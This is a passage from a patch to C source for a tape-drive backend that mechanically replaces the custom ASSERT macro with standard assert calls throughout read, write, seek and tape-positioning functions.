contextp->dc_mode == OM_READ ); + assert( ! contextp->dc_errorpr ); + assert( ! contextp->dc_ownedp ); + assert( wantedcnt > 0 ); /* clear the return status field */ @@ -853,7 +854,7 @@ do_read( drive_t *drivep, */ contextp->dc_ownedp = contextp->dc_nextp; contextp->dc_nextp += actualcnt; - ASSERT( contextp->dc_nextp <= contextp->dc_dataendp ); + assert( contextp->dc_nextp <= contextp->dc_dataendp ); mlog( MLOG_NITTY | MLOG_DRIVE, "rmt drive op read actual == %d (0x%x)\n", @@ -886,16 +887,16 @@ do_return_read_buf( drive_t *drivep, char *bufp, size_t retcnt ) /* assert protocol being followed */ - ASSERT( contextp->dc_mode == OM_READ ); - ASSERT( ! contextp->dc_errorpr ); - ASSERT( contextp->dc_ownedp ); - ASSERT( bufp == contextp->dc_ownedp ); + assert( contextp->dc_mode == OM_READ ); + assert( ! contextp->dc_errorpr ); + assert( contextp->dc_ownedp ); + assert( bufp == contextp->dc_ownedp ); /* calculate how much the caller owns */ - ASSERT( contextp->dc_nextp >= contextp->dc_ownedp ); + assert( contextp->dc_nextp >= contextp->dc_ownedp ); ownedcnt = ( size_t )( contextp->dc_nextp - contextp->dc_ownedp ); - ASSERT( ownedcnt == retcnt ); + assert( ownedcnt == retcnt ); /* take possession of buffer portion */ @@ -905,7 +906,7 @@ do_return_read_buf( drive_t *drivep, char *bufp, size_t retcnt ) * and (if ring in use) give buffer to ring for read-ahead. */ if ( contextp->dc_nextp >= contextp->dc_dataendp ) { - ASSERT( contextp->dc_nextp == contextp->dc_dataendp ); + assert( contextp->dc_nextp == contextp->dc_dataendp ); if ( ! contextp->dc_singlethreadedpr ) { contextp->dc_msgp->rm_op = RING_OP_READ; Ring_put( contextp->dc_ringp, contextp->dc_msgp ); @@ -936,9 +937,9 @@ do_get_mark( drive_t *drivep, drive_mark_t *markp ) /* assert protocol being followed */ - ASSERT( contextp->dc_mode == OM_READ ); - ASSERT( ! contextp->dc_errorpr ); - ASSERT( ! contextp->dc_ownedp ); + assert( contextp->dc_mode == OM_READ ); + assert( ! contextp->dc_errorpr ); + assert( ! contextp->dc_ownedp ); /* the mark is simply the offset into the media file of the * next byte to be read. @@ -977,9 +978,9 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) /* assert protocol being followed */ - ASSERT( contextp->dc_mode == OM_READ ); - ASSERT( ! contextp->dc_errorpr ); - ASSERT( ! contextp->dc_ownedp ); + assert( contextp->dc_mode == OM_READ ); + assert( ! contextp->dc_errorpr ); + assert( ! contextp->dc_ownedp ); /* the desired mark is passed by reference, and is really just an @@ -1002,18 +1003,18 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) rec_hdr_t *rechdrp = ( rec_hdr_t * )contextp->dc_recp; #endif - ASSERT( contextp->dc_nextp >= contextp->dc_recp ); + assert( contextp->dc_nextp >= contextp->dc_recp ); recoff = ( u_int32_t )( contextp->dc_nextp - contextp->dc_recp ); - ASSERT( recoff <= tape_recsz ); - ASSERT( rechdrp->rec_used <= tape_recsz ); - ASSERT( recoff >= STAPE_HDR_SZ ); - ASSERT( rechdrp->rec_used >= STAPE_HDR_SZ ); - ASSERT( recoff <= rechdrp->rec_used ); + assert( recoff <= tape_recsz ); + assert( rechdrp->rec_used <= tape_recsz ); + assert( recoff >= STAPE_HDR_SZ ); + assert( rechdrp->rec_used >= STAPE_HDR_SZ ); + assert( recoff <= rechdrp->rec_used ); currentoffset += ( off64_t )recoff; } - ASSERT( wantedoffset >= currentoffset ); + assert( wantedoffset >= currentoffset ); /* if we are currently holding a record and the desired offset * is not within the current record, eat the current record. @@ -1036,12 +1037,12 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) * must be just after it. */ if ( rechdrp->rec_used < tape_recsz ) { - ASSERT( wantedoffset == nextrecoffset ); + assert( wantedoffset == nextrecoffset ); } /* figure how much to ask for */ - ASSERT( contextp->dc_nextp >= contextp->dc_recp ); + assert( contextp->dc_nextp >= contextp->dc_recp ); recoff = ( u_int32_t )( contextp->dc_nextp - contextp->dc_recp ); @@ -1059,13 +1060,13 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) if ( rval ) { return rval; } - ASSERT( actualcnt == wantedcnt ); + assert( actualcnt == wantedcnt ); do_return_read_buf( drivep, dummybufp, actualcnt ); currentoffset += ( off64_t )actualcnt; - ASSERT( currentoffset == nextrecoffset ); - ASSERT( wantedoffset >= currentoffset ); - ASSERT( ! contextp->dc_recp ); - ASSERT( currentoffset + assert( currentoffset == nextrecoffset ); + assert( wantedoffset >= currentoffset ); + assert( ! contextp->dc_recp ); + assert( currentoffset == contextp->dc_reccnt * ( off64_t )tape_recsz ); } @@ -1084,14 +1085,14 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) off64_t wantedreccnt; seekmode_t seekmode; - ASSERT( ! contextp->dc_recp ); + assert( ! contextp->dc_recp ); wantedreccnt = wantedoffset / ( off64_t )tape_recsz; if ( contextp->dc_singlethreadedpr ) { seekmode = SEEKMODE_RAW; } else { seekmode = SEEKMODE_BUF; } - ASSERT( wantedreccnt != 0 ); /* so NOP below can be + assert( wantedreccnt != 0 ); /* so NOP below can be * distinguished from use * in do_begin_read */ @@ -1101,7 +1102,7 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) if ( seekmode == SEEKMODE_BUF ) { ring_stat_t rs; - ASSERT( ! contextp->dc_msgp ); + assert( ! contextp->dc_msgp ); contextp->dc_msgp = Ring_get( contextp->dc_ringp ); rs = contextp->dc_msgp->rm_stat; @@ -1114,7 +1115,7 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) rs != RING_STAT_INIT && rs != RING_STAT_NOPACK ) { - ASSERT( 0 ); + assert( 0 ); contextp->dc_errorpr = BOOL_TRUE; return DRIVE_ERROR_CORE; } @@ -1136,8 +1137,8 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) continue; } - ASSERT( contextp->dc_reccnt == contextp->dc_iocnt ); - ASSERT( wantedreccnt > contextp->dc_reccnt ); + assert( contextp->dc_reccnt == contextp->dc_iocnt ); + assert( wantedreccnt > contextp->dc_reccnt ); recskipcnt64 = wantedreccnt - contextp->dc_reccnt; recskipcnt64remaining = recskipcnt64; while ( recskipcnt64remaining ) { @@ -1145,14 +1146,14 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) intgen_t saved_errno; intgen_t rval; - ASSERT( recskipcnt64remaining > 0 ); + assert( recskipcnt64remaining > 0 ); if ( recskipcnt64remaining > INTGENMAX ) { recskipcnt = INTGENMAX; } else { recskipcnt = ( intgen_t ) recskipcnt64remaining; } - ASSERT( recskipcnt > 0 ); + assert( recskipcnt > 0 ); rval = mt_op( contextp->dc_fd, MTFSR, recskipcnt ); @@ -1174,8 +1175,8 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) currentoffset = contextp->dc_reccnt * ( off64_t )tape_recsz; - ASSERT( wantedoffset >= currentoffset ); - ASSERT( wantedoffset - currentoffset + assert( wantedoffset >= currentoffset ); + assert( wantedoffset - currentoffset < ( off64_t )tape_recsz ); } @@ -1190,7 +1191,7 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) size_t actualcnt; intgen_t rval; - ASSERT( ! contextp->dc_recp ); + assert( ! contextp->dc_recp ); /* figure how much to ask for. to eat an entire record, * ask for a record sans the header. do_read will eat @@ -1205,11 +1206,11 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) if ( rval ) { return rval; } - ASSERT( actualcnt == wantedcnt ); + assert( actualcnt == wantedcnt ); do_return_read_buf( drivep, dummybufp, actualcnt ); - ASSERT( ! contextp->dc_recp ); + assert( ! contextp->dc_recp ); currentoffset += ( off64_t )tape_recsz; - ASSERT( currentoffset + assert( currentoffset == contextp->dc_reccnt * ( off64_t )tape_recsz ); } @@ -1222,8 +1223,8 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) char *dummybufp; size_t actualcnt; - ASSERT( wantedoffset > currentoffset ); - ASSERT( wantedoffset - currentoffset < ( off64_t )tape_recsz ); + assert( wantedoffset > currentoffset ); + assert( wantedoffset - currentoffset < ( off64_t )tape_recsz ); wantedcnt = ( size_t )( wantedoffset - currentoffset ); if ( contextp->dc_recp ) { u_int32_t recoff; @@ -1233,14 +1234,14 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) recoff = ( u_int32_t )( contextp->dc_nextp - contextp->dc_recp ); - ASSERT( recoff <= tape_recsz ); - ASSERT( rechdrp->rec_used <= tape_recsz ); - ASSERT( recoff >= STAPE_HDR_SZ ); - ASSERT( rechdrp->rec_used >= STAPE_HDR_SZ ); - ASSERT( recoff <= rechdrp->rec_used ); - ASSERT( recoff + wantedcnt <= rechdrp->rec_used ); + assert( recoff <= tape_recsz ); + assert( rechdrp->rec_used <= tape_recsz ); + assert( recoff >= STAPE_HDR_SZ ); + assert( rechdrp->rec_used >= STAPE_HDR_SZ ); + assert( recoff <= rechdrp->rec_used ); + assert( recoff + wantedcnt <= rechdrp->rec_used ); } else { - ASSERT( wantedcnt >= STAPE_HDR_SZ ); + assert( wantedcnt >= STAPE_HDR_SZ ); wantedcnt -= STAPE_HDR_SZ; } @@ -1253,7 +1254,7 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) if ( rval ) { return rval; } - ASSERT( actualcnt == wantedcnt ); + assert( actualcnt == wantedcnt ); do_return_read_buf( drivep, dummybufp, actualcnt ); } } @@ -1268,18 +1269,18 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) rec_hdr_t *rechdrp = ( rec_hdr_t * )contextp->dc_recp; #endif - ASSERT( contextp->dc_nextp >= contextp->dc_recp ); + assert( contextp->dc_nextp >= contextp->dc_recp ); recoff = ( u_int32_t )( contextp->dc_nextp - contextp->dc_recp ); - ASSERT( recoff <= tape_recsz ); - ASSERT( rechdrp->rec_used <= tape_recsz ); - ASSERT( recoff >= STAPE_HDR_SZ ); - ASSERT( rechdrp->rec_used >= STAPE_HDR_SZ ); - ASSERT( recoff <= rechdrp->rec_used ); + assert( recoff <= tape_recsz ); + assert( rechdrp->rec_used <= tape_recsz ); + assert( recoff >= STAPE_HDR_SZ ); + assert( rechdrp->rec_used >= STAPE_HDR_SZ ); + assert( recoff <= rechdrp->rec_used ); currentoffset += ( off64_t )recoff; } - ASSERT( wantedoffset == currentoffset ); + assert( wantedoffset == currentoffset ); return 0; } @@ -1310,9 +1311,9 @@ do_next_mark( drive_t *drivep ) /* assert protocol being followed. */ - ASSERT( contextp->dc_mode == OM_READ ); - ASSERT( ! contextp->dc_errorpr ); - ASSERT( ! contextp->dc_ownedp ); + assert( contextp->dc_mode == OM_READ ); + assert( ! contextp->dc_errorpr ); + assert( ! contextp->dc_ownedp ); mlog( MLOG_DEBUG | MLOG_DRIVE, "rmt drive op: next mark\n" ); @@ -1335,7 +1336,7 @@ noerrorsearch: } rechdrp = ( rec_hdr_t * )contextp->dc_recp; - ASSERT( rechdrp->first_mark_offset != 0 ); + assert( rechdrp->first_mark_offset != 0 ); if ( rechdrp->first_mark_offset > 0 ) { off64_t markoff = rechdrp->first_mark_offset - @@ -1343,8 +1344,8 @@ noerrorsearch: off64_t curoff = ( off64_t )( contextp->dc_nextp - contextp->dc_recp ); - ASSERT( markoff > 0 ); - ASSERT( curoff > 0 ); + assert( markoff > 0 ); + assert( curoff > 0 ); if ( markoff >= curoff ) { break; } @@ -1359,7 +1360,7 @@ noerrorsearch: contextp->dc_reccnt++; } - ASSERT( rechdrp->first_mark_offset - rechdrp->file_offset + assert( rechdrp->first_mark_offset - rechdrp->file_offset <= ( off64_t )tape_recsz ); contextp->dc_nextp = contextp->dc_recp @@ -1367,8 +1368,8 @@ noerrorsearch: ( size_t )( rechdrp->first_mark_offset - rechdrp->file_offset ); - ASSERT( contextp->dc_nextp <= contextp->dc_dataendp ); - ASSERT( contextp->dc_nextp >= contextp->dc_recp + STAPE_HDR_SZ ); + assert( contextp->dc_nextp <= contextp->dc_dataendp ); + assert( contextp->dc_nextp >= contextp->dc_recp + STAPE_HDR_SZ ); if ( contextp->dc_nextp == contextp->dc_dataendp ) { if ( ! contextp->dc_singlethreadedpr ) { Ring_put( contextp->dc_ringp, @@ -1394,7 +1395,7 @@ resetring: contextp->dc_recp = contextp->dc_bufp; } else { contextp->dc_msgp = Ring_get( contextp->dc_ringp ); - ASSERT( contextp->dc_msgp->rm_stat == RING_STAT_INIT ); + assert( contextp->dc_msgp->rm_stat == RING_STAT_INIT ); contextp->dc_recp = contextp->dc_msgp->rm_bufp; } rechdrp = ( rec_hdr_t * )contextp->dc_recp; @@ -1417,7 +1418,7 @@ validateread: } if ( nread >= 0 ) { - ASSERT( ( size_t )nread <= tape_recsz ); + assert( ( size_t )nread <= tape_recsz ); mlog( MLOG_DEBUG | MLOG_DRIVE, "short read (nread == %d, record size == %d)\n", nread, @@ -1460,24 +1461,24 @@ validatehdr: goto readrecord; } - ASSERT( ! ( rechdrp->file_offset % ( off64_t )tape_recsz )); + assert( ! ( rechdrp->file_offset % ( off64_t )tape_recsz )); markoff = rechdrp->first_mark_offset - rechdrp->file_offset; - ASSERT( markoff >= ( off64_t )STAPE_HDR_SZ ); - ASSERT( markoff < ( off64_t )tape_recsz ); - ASSERT( rechdrp->rec_used > STAPE_HDR_SZ ); - ASSERT( rechdrp->rec_used < tape_recsz ); + assert( markoff >= ( off64_t )STAPE_HDR_SZ ); + assert( markoff < ( off64_t )tape_recsz ); + assert( rechdrp->rec_used > STAPE_HDR_SZ ); + assert( rechdrp->rec_used < tape_recsz ); goto alliswell; alliswell: contextp->dc_nextp = contextp->dc_recp + ( size_t )markoff; - ASSERT( ! ( rechdrp->file_offset % ( off64_t )tape_recsz )); + assert( ! ( rechdrp->file_offset % ( off64_t )tape_recsz )); contextp->dc_reccnt = rechdrp->file_offset / ( off64_t )tape_recsz; contextp->dc_iocnt = contextp->dc_reccnt + 1; contextp->dc_recendp = contextp->dc_recp + tape_recsz; contextp->dc_dataendp = contextp->dc_recp + rechdrp->rec_used; - ASSERT( contextp->dc_dataendp <= contextp->dc_recendp ); - ASSERT( contextp->dc_nextp < contextp->dc_dataendp ); + assert( contextp->dc_dataendp <= contextp->dc_recendp ); + assert( contextp->dc_nextp < contextp->dc_dataendp ); contextp->dc_errorpr = BOOL_FALSE; mlog( MLOG_NORMAL | MLOG_DRIVE, @@ -1553,8 +1554,8 @@ do_end_read( drive_t *drivep ) /* assert protocol being followed */ - ASSERT( contextp->dc_mode == OM_READ ); - ASSERT( ! contextp->dc_ownedp ); + assert( contextp->dc_mode == OM_READ ); + assert( ! contextp->dc_ownedp ); /* In the scsi version, read_label() does a status command to the * drive to then decide if doing a 'fsf' is appropriate. For minrmt, @@ -1608,9 +1609,9 @@ do_begin_write( drive_t *drivep ) /* verify protocol being followed */ - ASSERT( contextp->dc_mode == OM_NONE ); - ASSERT( ! drivep->d_markrecheadp ); - ASSERT( ! contextp->dc_recp ); + assert( contextp->dc_mode == OM_NONE ); + assert( ! drivep->d_markrecheadp ); + assert( ! contextp->dc_recp ); /* get pointers into global write header */ @@ -1621,7 +1622,7 @@ do_begin_write( drive_t *drivep ) /* must already be open. The only way to open is to do a begin_read. * so all interaction with tape requires reading first. */ - ASSERT( contextp->dc_fd != -1 ); + assert( contextp->dc_fd != -1 ); /* fill in write header's drive specific info */ @@ -1637,15 +1638,15 @@ do_begin_write( drive_t *drivep ) /* get a record buffer. will be used for the media file header, * and is needed to "prime the pump" for first call to do_write. */ - ASSERT( ! contextp->dc_recp ); + assert( ! contextp->dc_recp ); if ( contextp->dc_singlethreadedpr ) { - ASSERT( contextp->dc_bufp ); + assert( contextp->dc_bufp ); contextp->dc_recp = contextp->dc_bufp; } else { - ASSERT( contextp->dc_ringp ); - ASSERT( ! contextp->dc_msgp ); + assert( contextp->dc_ringp ); + assert( ! contextp->dc_msgp ); contextp->dc_msgp = Ring_get( contextp->dc_ringp ); - ASSERT( contextp->dc_msgp->rm_stat == RING_STAT_INIT ); + assert( contextp->dc_msgp->rm_stat == RING_STAT_INIT ); contextp->dc_recp = contextp->dc_msgp->rm_bufp; } @@ -1690,7 +1691,7 @@ do_begin_write( drive_t *drivep ) /* prepare the drive context. must have a record buffer ready to * go, header initialized. */ - ASSERT( ! contextp->dc_ownedp ); + assert( ! contextp->dc_ownedp ); contextp->dc_reccnt = 1; /* count the header record */ contextp->dc_recendp = contextp->dc_recp + tape_recsz; contextp->dc_nextp = contextp->dc_recp + STAPE_HDR_SZ; @@ -1735,15 +1736,15 @@ do_set_mark( drive_t *drivep, /* verify protocol being followed */ - ASSERT( contextp->dc_mode == OM_WRITE ); - ASSERT( ! contextp->dc_errorpr ); - ASSERT( ! contextp->dc_ownedp ); - ASSERT( contextp->dc_recp ); - ASSERT( contextp->dc_nextp ); + assert( contextp->dc_mode == OM_WRITE ); + assert( ! contextp->dc_errorpr ); + assert( ! contextp->dc_ownedp ); + assert( contextp->dc_recp ); + assert( contextp->dc_nextp ); /* calculate and fill in the mark record offset */ - ASSERT( contextp->dc_recp ); + assert( contextp->dc_recp ); nextoff = contextp->dc_reccnt * ( off64_t )tape_recsz + ( off64_t )( contextp->dc_nextp - contextp->dc_recp ); @@ -1758,7 +1759,7 @@ do_set_mark( drive_t *drivep, */ rechdrp = ( rec_hdr_t * )contextp->dc_recp; if ( rechdrp->first_mark_offset == -1LL ) { - ASSERT( nextoff != -1LL ); + assert( nextoff != -1LL ); rechdrp->first_mark_offset = nextoff; } @@ -1771,7 +1772,7 @@ do_set_mark( drive_t *drivep, drivep->d_markrecheadp = markrecp; drivep->d_markrectailp = markrecp; } else { - ASSERT( drivep->d_markrectailp ); + assert( drivep->d_markrectailp ); drivep->d_markrectailp->dm_nextp = markrecp; drivep->d_markrectailp = markrecp; } @@ -1798,12 +1799,12 @@ do_get_write_buf( drive_t *drivep, size_t wantedcnt, size_t *actualcntp ) /* verify protocol being followed */ - ASSERT( contextp->dc_mode == OM_WRITE ); - ASSERT( ! contextp->dc_errorpr ); - ASSERT( ! contextp->dc_ownedp ); - ASSERT( contextp->dc_recp ); - ASSERT( contextp->dc_nextp ); - ASSERT( contextp->dc_nextp < contextp->dc_recendp ); + assert( contextp->dc_mode == OM_WRITE ); + assert( ! contextp->dc_errorpr ); + assert( ! contextp->dc_ownedp ); + assert( contextp->dc_recp ); + assert( contextp->dc_nextp ); + assert( contextp->dc_nextp < contextp->dc_recendp ); /* figure how much is available; supply the min of what is * available and what is wanted. @@ -1864,17 +1865,17 @@ do_write( drive_t *drivep, char *bufp, size_t retcnt ) /* verify protocol being followed */ - ASSERT( contextp->dc_mode == OM_WRITE ); - ASSERT( ! contextp->dc_errorpr ); - ASSERT( contextp->dc_ownedp ); - ASSERT( contextp->dc_recp ); - ASSERT( contextp->dc_nextp ); - ASSERT( contextp->dc_nextp <= contextp->dc_recendp ); + assert( contextp->dc_mode == OM_WRITE ); + assert( ! contextp->dc_errorpr ); + assert( contextp->dc_ownedp ); + assert( contextp->dc_recp ); + assert( contextp->dc_nextp ); + assert( contextp->dc_nextp <= contextp->dc_recendp ); /* verify the caller is returning exactly what is held */ - ASSERT( bufp == contextp->dc_ownedp ); - ASSERT( retcnt == heldcnt ); + assert( bufp == contextp->dc_ownedp ); + assert( retcnt == heldcnt ); /* take it back */ @@ -1915,7 +1916,7 @@ do_write( drive_t *drivep, char *bufp, size_t retcnt ) rval = contextp->dc_msgp->rm_rval; break; default: - ASSERT( 0 ); + assert( 0 ); return DRIVE_ERROR_CORE; } } @@ -1979,12 +1980,12 @@ do_get_align_cnt( drive_t * drivep ) /* verify protocol being followed */ - ASSERT( contextp->dc_mode == OM_WRITE ); - ASSERT( ! contextp->dc_errorpr ); - ASSERT( ! contextp->dc_ownedp ); - ASSERT( contextp->dc_recp ); - ASSERT( contextp->dc_nextp ); - ASSERT( contextp->dc_nextp < contextp->dc_recendp ); + assert( contextp->dc_mode == OM_WRITE ); + assert( ! contextp->dc_errorpr ); + assert( ! contextp->dc_ownedp ); + assert( contextp->dc_recp ); + assert( contextp->dc_nextp ); + assert( contextp->dc_nextp < contextp->dc_recendp ); /* calculate the next alignment point at or beyond the current nextp. * the following algorithm works because all buffers are page-aligned @@ -1994,11 +1995,11 @@ do_get_align_cnt( drive_t * drivep ) next_alignment_off += PGMASK; next_alignment_off &= ~PGMASK; next_alignment_point = ( char * )next_alignment_off; - ASSERT( next_alignment_point <= contextp->dc_recendp ); + assert( next_alignment_point <= contextp->dc_recendp ); /* return the number of bytes to the next alignment offset */ - ASSERT( next_alignment_point >= contextp->dc_nextp ); + assert( next_alignment_point >= contextp->dc_nextp ); return ( size_t )( next_alignment_point - contextp->dc_nextp ); } @@ -2025,12 +2026,12 @@ do_end_write( drive_t *drivep, off64_t *ncommittedp ) /* verify protocol being followed */ - ASSERT( contextp->dc_mode == OM_WRITE ); - ASSERT( ! contextp->dc_ownedp ); - ASSERT( contextp->dc_recp ); - ASSERT( contextp->dc_nextp ); - ASSERT( contextp->dc_nextp >= contextp->dc_recp + STAPE_HDR_SZ ); - ASSERT( contextp->dc_nextp < contextp->dc_recendp ); + assert( contextp->dc_mode == OM_WRITE ); + assert( ! contextp->dc_ownedp ); + assert( contextp->dc_recp ); + assert( contextp->dc_nextp ); + assert( contextp->dc_nextp >= contextp->dc_recp + STAPE_HDR_SZ ); + assert( contextp->dc_nextp < contextp->dc_recendp ); /* pre-initialize return of count of bytes committed to media */ @@ -2072,7 +2073,7 @@ do_end_write( drive_t *drivep, off64_t *ncommittedp ) contextp->dc_recp, BOOL_TRUE, BOOL_TRUE ); } else { - ASSERT( contextp->dc_msgp ); + assert( contextp->dc_msgp ); contextp->dc_msgp->rm_op = RING_OP_WRITE; contextp->dc_msgp->rm_user = contextp->dc_reccnt; Ring_put( contextp->dc_ringp, @@ -2088,7 +2089,7 @@ do_end_write( drive_t *drivep, off64_t *ncommittedp ) rval = contextp->dc_msgp->rm_rval; break; default: - ASSERT( 0 ); + assert( 0 ); contextp->dc_recp = 0; return DRIVE_ERROR_CORE; } @@ -2115,7 +2116,7 @@ do_end_write( drive_t *drivep, off64_t *ncommittedp ) } if ( ! contextp->dc_singlethreadedpr ) { while ( ! rval ) { - ASSERT( contextp->dc_msgp ); + assert( contextp->dc_msgp ); contextp->dc_msgp->rm_op = RING_OP_TRACE; Ring_put( contextp->dc_ringp, contextp->dc_msgp ); @@ -2127,14 +2128,14 @@ do_end_write( drive_t *drivep, off64_t *ncommittedp ) switch( contextp->dc_msgp->rm_stat ) { case RING_STAT_OK: case RING_STAT_INIT: - ASSERT( rval == 0 ); + assert( rval == 0 ); break; case RING_STAT_ERROR: rval = contextp->dc_msgp->rm_rval; first_rec_w_err = contextp->dc_msgp->rm_user; break; default: - ASSERT( 0 ); + assert( 0 ); contextp->dc_recp = 0; return DRIVE_ERROR_CORE; } @@ -2182,11 +2183,11 @@ do_end_write( drive_t *drivep, off64_t *ncommittedp ) * to tape. */ if ( rval ) { - ASSERT( first_rec_w_err >= 0 ); + assert( first_rec_w_err >= 0 ); recs_wtn_wo_err = first_rec_w_err; recs_guaranteed = recs_wtn_wo_err - contextp->dc_lostrecmax; } else { - ASSERT( first_rec_w_err == -1 ); + assert( first_rec_w_err == -1 ); recs_wtn_wo_err = contextp->dc_iocnt; recs_guaranteed = recs_wtn_wo_err; } @@ -2217,14 +2218,14 @@ do_fsf( drive_t *drivep, intgen_t count, intgen_t *statp ) /* verify protocol being followed */ - ASSERT( contextp->dc_mode == OM_NONE ); + assert( contextp->dc_mode == OM_NONE ); mlog( MLOG_DEBUG | MLOG_DRIVE, "rmt drive op: fsf: count %d\n", count ); - ASSERT( count ); - ASSERT( contextp->dc_mode == OM_NONE ); + assert( count ); + assert( contextp->dc_mode == OM_NONE ); for ( i = 0 ; i < count; i++ ) { done = 0; @@ -2243,7 +2244,7 @@ do_fsf( drive_t *drivep, intgen_t count, intgen_t *statp ) _("advancing tape to next media file\n") ); op_failed = 0; - ASSERT( contextp->dc_fd >= 0 ); + assert( contextp->dc_fd >= 0 ); if ( mt_op( contextp->dc_fd, MTFSF, 1 ) ) { op_failed = 1; } @@ -2294,14 +2295,14 @@ do_bsf( drive_t *drivep, intgen_t count, intgen_t *statp ) "rmt drive op: bsf: count %d\n", count ); - ASSERT( contextp->dc_mode == OM_NONE ); + assert( contextp->dc_mode == OM_NONE ); *statp = 0; /* back space - places us to left of previous file mark * if we hit BOT, return */ - ASSERT( drivep->d_capabilities & DRIVE_CAP_BSF ); + assert( drivep->d_capabilities & DRIVE_CAP_BSF ); rval = bsf_and_verify( drivep ); if (rval) { if (errno == ENOSPC/*IRIX*/ || errno == EIO/*Linux*/) { @@ -2379,8 +2380,8 @@ do_rewind( drive_t *drivep ) mlog( MLOG_DEBUG | MLOG_DRIVE, "rmt drive op: rewind\n" ); - ASSERT( contextp->dc_mode == OM_NONE ); - ASSERT( contextp->dc_fd >= 0 ); + assert( contextp->dc_mode == OM_NONE ); + assert( contextp->dc_fd >= 0 ); /* use validating tape rewind util func */ @@ -2405,8 +2406,8 @@ do_erase( drive_t *drivep ) mlog( MLOG_DEBUG | MLOG_DRIVE, "rmt drive op: erase\n" ); - ASSERT( contextp->dc_mode == OM_NONE ); - ASSERT( contextp->dc_fd >= 0 ); + assert( contextp->dc_mode == OM_NONE ); + assert( contextp->dc_fd >= 0 ); /* use validating tape rewind util func */ @@ -2443,8 +2444,8 @@ do_eject_media( drive_t *drivep ) /* drive must be open */ - ASSERT( contextp->dc_fd >= 0 ); - ASSERT( contextp->dc_mode == OM_NONE ); + assert( contextp->dc_fd >= 0 ); + assert( contextp->dc_mode == OM_NONE ); /* issue tape unload */ @@ -2563,7 +2564,7 @@ read_label( drive_t *drivep ) /* if a read error, get status */ if ( nread != ( intgen_t )tape_recsz ) { - ASSERT( nread < ( intgen_t )tape_recsz ); + assert( nread < ( intgen_t )tape_recsz ); } /* check for an unexpected errno @@ -2720,7 +2721,7 @@ get_tpcaps( drive_t *drivep ) #ifdef DEBUG drive_context_t *contextp = ( drive_context_t * )drivep->d_contextp; - ASSERT( contextp->dc_fd >= 0 ); + assert( contextp->dc_fd >= 0 ); #endif /* can't ask about blksz, can't set blksz, can't ask about @@ -2796,7 +2797,7 @@ mt_op(intgen_t fd, intgen_t sub_op, intgen_t param ) mop.mt_op = (short )sub_op; mop.mt_count = param; - ASSERT( fd >= 0 ); + assert( fd >= 0 ); switch ( sub_op ) { case MTSEEK: @@ -3074,7 +3075,7 @@ prepare_drive( drive_t *drivep ) /* shouldn't be here if drive is open */ - ASSERT( contextp->dc_fd == -1 ); + assert( contextp->dc_fd == -1 ); mlog( MLOG_VERBOSE | MLOG_DRIVE, _("preparing drive\n") ); @@ -3181,7 +3182,7 @@ prepare_drive( drive_t *drivep ) contextp->dc_recp, tape_recsz, &saved_errno ); - ASSERT( saved_errno == 0 || nread < 0 ); + assert( saved_errno == 0 || nread < 0 ); /* RMT can require a retry */ @@ -3340,7 +3341,7 @@ checkhdr: rec_hdr_t *tprhdrp; drhdrp = drivep->d_readhdrp; tprhdrp = ( rec_hdr_t * )drhdrp->dh_specific; - ASSERT( tprhdrp->recsize >= 0 ); + assert( tprhdrp->recsize >= 0 ); tape_recsz = ( size_t )tprhdrp->recsize; break; } @@ -3410,7 +3411,7 @@ Open( drive_t *drivep ) mlog( MLOG_DEBUG | MLOG_DRIVE, "tape op: opening drive\n" ); - ASSERT( contextp->dc_fd == -1 ); + assert( contextp->dc_fd == -1 ); errno = 0; contextp->dc_fd = open( drivep->d_pathname, oflags ); @@ -3430,7 +3431,7 @@ Close( drive_t *drivep ) mlog( MLOG_DEBUG | MLOG_DRIVE, "tape op: closing drive\n" ); - ASSERT( contextp->dc_fd >= 0 ); + assert( contextp->dc_fd >= 0 ); ( void )close( contextp->dc_fd ); @@ -3447,8 +3448,8 @@ Read( drive_t *drivep, char *bufp, size_t cnt, intgen_t *errnop ) "tape op: reading %u bytes\n", cnt ); - ASSERT( contextp->dc_fd >= 0 ); - ASSERT( bufp ); + assert( contextp->dc_fd >= 0 ); + assert( bufp ); *errnop = 0; errno = 0; nread = read( contextp->dc_fd, ( void * )bufp, cnt ); @@ -3483,8 +3484,8 @@ Write( drive_t *drivep, char *bufp, size_t cnt, intgen_t *errnop ) "tape op: writing %u bytes\n", cnt ); - ASSERT( contextp->dc_fd >= 0 ); - ASSERT( bufp ); + assert( contextp->dc_fd >= 0 ); + assert( bufp ); *errnop = 0; errno = 0; nwritten = write( contextp->dc_fd, ( void * )bufp, cnt ); @@ -3664,7 +3665,7 @@ read_record( drive_t *drivep, char *bufp ) /* short read */ if ( nread >= 0 ) { - ASSERT( nread <= ( intgen_t )tape_recsz ); + assert( nread <= ( intgen_t )tape_recsz ); mlog( MLOG_DEBUG | MLOG_DRIVE, "short read record %lld (nread == %d)\n", contextp->dc_iocnt, @@ -3726,7 +3727,7 @@ getrec( drive_t *drivep ) contextp->dc_errorpr = BOOL_TRUE; return contextp->dc_msgp->rm_rval; default: - ASSERT( 0 ); + assert( 0 ); contextp->dc_errorpr = BOOL_TRUE; return DRIVE_ERROR_CORE; } @@ -3739,7 +3740,7 @@ getrec( drive_t *drivep ) contextp->dc_nextp = contextp->dc_recp + STAPE_HDR_SZ; - ASSERT( contextp->dc_nextp <= contextp->dc_dataendp ); + assert( contextp->dc_nextp <= contextp->dc_dataendp ); } return 0; @@ -3775,7 +3776,7 @@ write_record( drive_t *drivep, char *bufp, bool_t chksumpr, bool_t xlatepr ) } rval = determine_write_error( nwritten, saved_errno ); - ASSERT(rval); + assert(rval); return rval; } @@ -3814,7 +3815,7 @@ Ring_reset( ring_t *ringp, ring_msg_t *msgp ) mlog( 